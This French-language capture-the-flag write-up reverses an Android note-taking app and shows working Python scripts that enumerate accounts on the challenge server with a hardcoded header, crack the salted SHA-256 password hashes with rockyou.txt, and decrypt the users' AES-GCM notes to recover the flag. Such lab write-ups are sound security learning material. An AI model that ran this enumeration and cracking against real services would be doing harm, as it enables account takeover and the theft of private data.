mobisec

Catégorie: Mobile Difficulté: Moyen Flag: CTF{77cd55d22ef0d516a45ed0e238fbc5dbc4c93b0824047ea3e0a0509a5a9735ac}

Challenge

Description


Secure note-taking app.

You are given a wordlist. Furthermore rockyou.txt may be of use.

Note that the initial data on the server was stored differently, and decryption should take in consideration:

nonce, tag, ciphertext = encrypted_data[:16], encrypted_data[16:32], encrypted_data[32:]

Use pycryptodome and default key derivation hashing algorithm.

Solution

La première chose à faire est de décompiler l'apk. Dans sources/com/example/flagen on trouve les fichiers Java important.

Reverse de l'application

Dans NotesActivity.java on trouve la fonction qui sert à faire les requêtes HTTP, on voit qu'elle ajoute l'entête X-MOBISEC=ef75826d9de13292593aa57f82a7763d et un identifiant unique de type UUID à la fin de l'url

public final HttpURLConnection n(String method, String path) {
    StringBuilder url = new StringBuilder("http://");
    url.append(this.host);
    url.append(":");
    url.append(this.port);
    url.append(path);
    SharedPreferences sharedPreferences = getSharedPreferences("unique_id_prefs", 0);
    String uniqueId = sharedPreferences.getString("unique_id", (String) null);
    
    // Création du UUID si aucun n'est définit dans les préférences
    if (uniqueId == null) {
        uniqueId = UUID.randomUUID().toString();
        SharedPreferences.Editor prefEdit = sharedPreferences.edit();
        prefEdit.putString("unique_id", uniqueId);
        prefEdit.apply();
    }
    
    // Ajout du UUID
    url.append(uniqueId);
    HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(url.toString()).openConnection();
    httpURLConnection.setConnectTimeout(20000);
    httpURLConnection.setReadTimeout(20000);
    httpURLConnection.setRequestMethod(method);
    // Ajout de l'entête
    httpURLConnection.setRequestProperty("X-MOBISEC", "ef75826d9de13292593aa57f82a7763d");
    httpURLConnection.setRequestProperty("Accept", "application/json");
    return httpURLConnection;
}

Une autre fonction intéressante est celle qui sert de hashage :

public static String o(String str) {
    try {
        byte[] digest = MessageDigest.getInstance("SHA-256").digest(("LbhXabjVaCenpgvprFnygfNerHavdhrylTrarengrqSbeRirelCnffOhgVzGbbYnmlGbPbqrGung:)" + str).getBytes());
        StringBuilder hexFormat = new StringBuilder();
        for (byte b : digest) {
            String hex = Integer.toHexString(b & 255);
            if (hex.length() == 1) hexFormat.append("0");
            hexFormat.append(hex);
        }
        return hexFormat.toString();
    } catch (NoSuchAlgorithmException e) {
        throw new RuntimeException(e);
    }
}

En cherchant les fichiers utilisant NotesActivity, on trouve sources\z0\a.java qui utilise la fonction de requêtes HTTP pour faire un GET sur l'endpoint /api/v1/acc/pass/.

String hash = new JSONObject(sb.toString()).getJSONObject("secret").getString("hash");
String password = ((TextView) notesActivity.findViewById(R.id.password)).getText().toString();
if (!hash.isEmpty()) {
    if (!NotesActivity.o(password).equals(hash)) {
        new Handler(Looper.getMainLooper()).post(new e(8, notesActivity));
    }
}
notesActivity.password = password;

Ce passage vérifie que le hash du password entré est le même que celui renvoyé par le serveur.

On a également une fonction intérressante dans le même fichier :

HttpURLConnection request = notesActivity3.n("GET", "/api/v1/sec/");
BufferedReader bufferedReader2 = new BufferedReader(new InputStreamReader(request.getInputStream()));
StringBuilder response = new StringBuilder();
while (true) {
    String readLine2 = bufferedReader2.readLine();
    if (readLine2 != null) {
        response.append(readLine2);
    } else {
        request.disconnect();
        ((TextView) notesActivity3.findViewById(R.id.secretText)).setText(new String(z1.a.J(notesActivity3.password, Base64.decode(new JSONObject(response.toString()).getJSONObject("secret").getString("text"), 0)), StandardCharsets.UTF_8));
    }
}

Ici on récupère un secret sur le serveur, on le décode en base64 puis on le passe dans la fonction z1.a.J() avec le mot de passe. Pour déchiffrer un secret on a donc visiblement besoin des mots de passe.

Regardons cette fonction :

public static byte[] J(String password, byte[] ciphertext) {
    byte[] salt= "0123456789abcdef".getBytes();
    byte[] nonce = Arrays.copyOfRange(ciphertext, 0, 12);
    byte[] cipher_tag= Arrays.copyOfRange(ciphertext, 12, ciphertext.length);
    SecretKeySpec secretKeySpec = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(password.toCharArray(), salt, 100000, 256)).getEncoded(), "AES");
    Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
    cipher.init(2, secretKeySpec, new GCMParameterSpec(128, nonce));
    return cipher.doFinal(cipher_tag);
}

On utilise PBKDF2 (une méthode pour dériver un secret) avec la fonction de hashage SHA256, le sel 0123456789abcdef et 100000 itérations. On génère un secret dérivé de 256 bits.

Ce secret dérivé est utilisé pour déchiffrer avec de l'AES en mode GCM. Le nonce du GCM est situé sur les 12 premiers octets du ciphertext, on a également le tag (qui sert de vérification) situé sur les 16 derniers octets. Le véritable ciphertext est situé entre les deux. En gros :

nonce, ciphertext, tag = ciphertext[:12], ciphertext[12:-16], ciphertext[-16:]

Récupération des comptes existants

On va tester les UUID présents dans wordlist.txt pour récupérer ceux qui possède un hash et un secret :

import json
import requests

HOST = '35.242.231.98'
PORT = 30512


def request(method: str, path: str, uuid: str):
  headers = {
    'X-MOBISEC': 'ef75826d9de13292593aa57f82a7763d',
    'Accept': 'application/json'
  }
  url = f'http://{HOST}:{PORT}{path}{uuid}'
  return requests.request(method=method, url=url, headers=headers).json()


def main():
  with open('wordlist.txt', 'r') as f:
    uuids = f.read().splitlines()
  accounts = []
  for uuid in uuids:
    _hash = request('GET', '/api/v1/acc/pass/', uuid)['secret']['hash']
    if _hash:
      account = {'uuid': uuid, 'hash': _hash}
      _secret = request('GET', '/api/v1/sec/', uuid)['secret']['text']
      if _secret:
        account['secret'] = _secret
        accounts.append(account)
  print(json.dumps(accounts, indent=2))


if __name__ == '__main__':
  main()
[
  {
    "uuid": "c8d8a726-a7c2-4b13-98a4-15f9c3831ef4",
    "hash": "77518b39e620ac271bfc58639796160cb3984af0a3e5f4367230ad768855e8e7",
    "secret": "HYXP4Wj2c51+5RErPH29pfb0hmdnz/QZNNIxwH3dFi+5KO9n1dPWGXR6yCPB7Z4CeZ7cuMFZzXVfvqEtvvFlR2Tg5NOD6rk9azaZ"
  },
  {
    "uuid": "f79dd76f-2ce4-420f-bf46-f0ba82af04fb",
    "hash": "87bcb0554d72bd277ae6c2795b8e09e03c56ed4314352449c3d371b70cdc1ea8",
    "secret": "QEL9U16s9VK4mI5iRdTEBQFzw13s877sE0f4SedWhfq18XvWRW/gvi5xoCMh9zNQTiWu2AwQN8M1zLKpPEAh8z+9VSSDQ+j3Xl9fCqgRBfbPZc+G/7zZK5XE5koKkZxad6a5qa8="
  },
  {
    "uuid": "4d1713c1-ef9e-46b1-9fee-9ac57d4180b8",
    "hash": "e045171f3d3d93ee538b4673f7b5184bfd7d9eaa200f29f81ae1b7123a32ebca",
    "secret": "MM7Kh/WU5cbbxU/H+FGRA07teK5vJHctdSNe7X60rs2qtgG+t//T/WX4HmWz+q8Nhzg="
  }
]

Cassage de mot de passe

3 comptes parmis les uuid dans wordlist.txt existes, il faut maintenant casser leur hash avec un bruteforce. Comme indiqué dans la description, on part sur rockyou.txt :

from hashlib import sha256
import json
import requests

HOST = '35.242.231.98'
PORT = 30512
ACCOUNTS = [
  {
    "uuid": "c8d8a726-a7c2-4b13-98a4-15f9c3831ef4",
    "hash": "77518b39e620ac271bfc58639796160cb3984af0a3e5f4367230ad768855e8e7"
  },
  {
    "uuid": "f79dd76f-2ce4-420f-bf46-f0ba82af04fb",
    "hash": "87bcb0554d72bd277ae6c2795b8e09e03c56ed4314352449c3d371b70cdc1ea8"
  },
  {
    "uuid": "4d1713c1-ef9e-46b1-9fee-9ac57d4180b8",
    "hash": "e045171f3d3d93ee538b4673f7b5184bfd7d9eaa200f29f81ae1b7123a32ebca"
  }
]


def request(method: str, path: str, uuid: str):
  headers = {
    'X-MOBISEC': 'ef75826d9de13292593aa57f82a7763d',
    'Accept': 'application/json'
  }
  url = f'http://{HOST}:{PORT}{path}{uuid}'
  return requests.request(method=method, url=url, headers=headers).json()


def hashing(s: bytes) -> str:
  return sha256(b'LbhXabjVaCenpgvprFnygfNerHavdhrylTrarengrqSbeRirelCnffOhgVzGbbYnmlGbPbqrGung:)' + s).hexdigest()


def main():
  to_find = len(ACCOUNTS)
  found = 0
  with open('E:/Downloads/rockyou.txt', 'rb') as f:
    for password in f:
      if password == b'':
        break
      password = password.strip(b'\n')
      _hash = hashing(password)
      for account in ACCOUNTS:
        if account['hash'] == _hash:
          account['password'] = password.decode()
          found += 1
      if found == to_find:
        break
    print(json.dumps(ACCOUNTS, indent=2))


if __name__ == '__main__':
  main()
[
  {
    "uuid": "c8d8a726-a7c2-4b13-98a4-15f9c3831ef4",
    "hash": "77518b39e620ac271bfc58639796160cb3984af0a3e5f4367230ad768855e8e7",
    "secret": "HYXP4Wj2c51+5RErPH29pfb0hmdnz/QZNNIxwH3dFi+5KO9n1dPWGXR6yCPB7Z4CeZ7cuMFZzXVfvqEtvvFlR2Tg5NOD6rk9azaZ",
    "password": "86390627"
  },
  {
    "uuid": "f79dd76f-2ce4-420f-bf46-f0ba82af04fb",
    "hash": "87bcb0554d72bd277ae6c2795b8e09e03c56ed4314352449c3d371b70cdc1ea8",
    "secret": "QEL9U16s9VK4mI5iRdTEBQFzw13s877sE0f4SedWhfq18XvWRW/gvi5xoCMh9zNQTiWu2AwQN8M1zLKpPEAh8z+9VSSDQ+j3Xl9fCqgRBfbPZc+G/7zZK5XE5koKkZxad6a5qa8=",
    "password": "SHALLOWgrounds13"
  },
  {
    "uuid": "4d1713c1-ef9e-46b1-9fee-9ac57d4180b8",
    "hash": "e045171f3d3d93ee538b4673f7b5184bfd7d9eaa200f29f81ae1b7123a32ebca",
    "secret": "MM7Kh/WU5cbbxU/H+FGRA07teK5vJHctdSNe7X60rs2qtgG+t//T/WX4HmWz+q8Nhzg=",
    "password": "killerpink007"
  }
]

Récupération des secrets

Maintenant que l'on connaît les mots de passe, on peut déchiffrer les secrets ?

Eh bien non, il y a eu un GROS foirage dans le CTF et la façon dont sont stockés les secrets (et donc le flag) sur le serveur n'est pas la même que celle sur l'application.

Il faut utiliser PBKDF2 avec SHA1 (et pas SHA256) et ensuite, comme indiqué dans la description (changée 2 fois en 2j de CTF), le nonce, le tag et le ciphertext sont placé différemment.

from hashlib import sha256, pbkdf2_hmac
import json
from base64 import b64decode
from Crypto.Cipher import AES


ACCOUNTS = [
  {
    "uuid": "c8d8a726-a7c2-4b13-98a4-15f9c3831ef4",
    "hash": "77518b39e620ac271bfc58639796160cb3984af0a3e5f4367230ad768855e8e7",
    "secret": "HYXP4Wj2c51+5RErPH29pfb0hmdnz/QZNNIxwH3dFi+5KO9n1dPWGXR6yCPB7Z4CeZ7cuMFZzXVfvqEtvvFlR2Tg5NOD6rk9azaZ",
    "password": "86390627"
  },
  {
    "uuid": "f79dd76f-2ce4-420f-bf46-f0ba82af04fb",
    "hash": "87bcb0554d72bd277ae6c2795b8e09e03c56ed4314352449c3d371b70cdc1ea8",
    "secret": "QEL9U16s9VK4mI5iRdTEBQFzw13s877sE0f4SedWhfq18XvWRW/gvi5xoCMh9zNQTiWu2AwQN8M1zLKpPEAh8z+9VSSDQ+j3Xl9fCqgRBfbPZc+G/7zZK5XE5koKkZxad6a5qa8=",
    "password": "SHALLOWgrounds13"
  },
  {
    "uuid": "4d1713c1-ef9e-46b1-9fee-9ac57d4180b8",
    "hash": "e045171f3d3d93ee538b4673f7b5184bfd7d9eaa200f29f81ae1b7123a32ebca",
    "secret": "MM7Kh/WU5cbbxU/H+FGRA07teK5vJHctdSNe7X60rs2qtgG+t//T/WX4HmWz+q8Nhzg=",
    "password": "killerpink007"
  }
]


def decrypt(password: str, encrypted_data: bytes):
  nonce, tag, ciphertext = encrypted_data[:16], encrypted_data[16:32], encrypted_data[32:]
  key = pbkdf2_hmac(hash_name='sha1', password=password.encode(), salt=b'0123456789abcdef', iterations=100000, dklen=256//8)
  cipher = AES.new(key, AES.MODE_GCM, nonce)
  return cipher.decrypt_and_verify(ciphertext=ciphertext, received_mac_tag=tag).decode()


def main():
  for account in ACCOUNTS:
    account['text'] = decrypt(account['password'], b64decode(account['secret']))
  print(json.dumps(ACCOUNTS, indent=2))


if __name__ == '__main__':
  main()
[
  {
    "uuid": "c8d8a726-a7c2-4b13-98a4-15f9c3831ef4",
    "hash": "77518b39e620ac271bfc58639796160cb3984af0a3e5f4367230ad768855e8e7",
    "secret": "HYXP4Wj2c51+5RErPH29pfb0hmdnz/QZNNIxwH3dFi+5KO9n1dPWGXR6yCPB7Z4CeZ7cuMFZzXVfvqEtvvFlR2Tg5NOD6rk9azaZ",
    "password": "86390627",
    "text": "Secret cookie recipe: ... (in construction)"
  },
  {
    "uuid": "f79dd76f-2ce4-420f-bf46-f0ba82af04fb",
    "hash": "87bcb0554d72bd277ae6c2795b8e09e03c56ed4314352449c3d371b70cdc1ea8",
    "secret": "QEL9U16s9VK4mI5iRdTEBQFzw13s877sE0f4SedWhfq18XvWRW/gvi5xoCMh9zNQTiWu2AwQN8M1zLKpPEAh8z+9VSSDQ+j3Xl9fCqgRBfbPZc+G/7zZK5XE5koKkZxad6a5qa8=",
    "password": "SHALLOWgrounds13",
    "text": "CTF{77cd55d22ef0d516a45ed0e238fbc5dbc4c93b0824047ea3e0a0509a5a9735ac}"
  },
  {
    "uuid": "4d1713c1-ef9e-46b1-9fee-9ac57d4180b8",
    "hash": "e045171f3d3d93ee538b4673f7b5184bfd7d9eaa200f29f81ae1b7123a32ebca",
    "secret": "MM7Kh/WU5cbbxU/H+FGRA07teK5vJHctdSNe7X60rs2qtgG+t//T/WX4HmWz+q8Nhzg=",
    "password": "killerpink007",
    "text": "I'm using Arch btw"
  }
]

A noter le "I'm using Arch btw" pour un challenge avec autant de bug, ça fait sourire

Dernière mise à jour

Cet article vous a-t-il été utile ?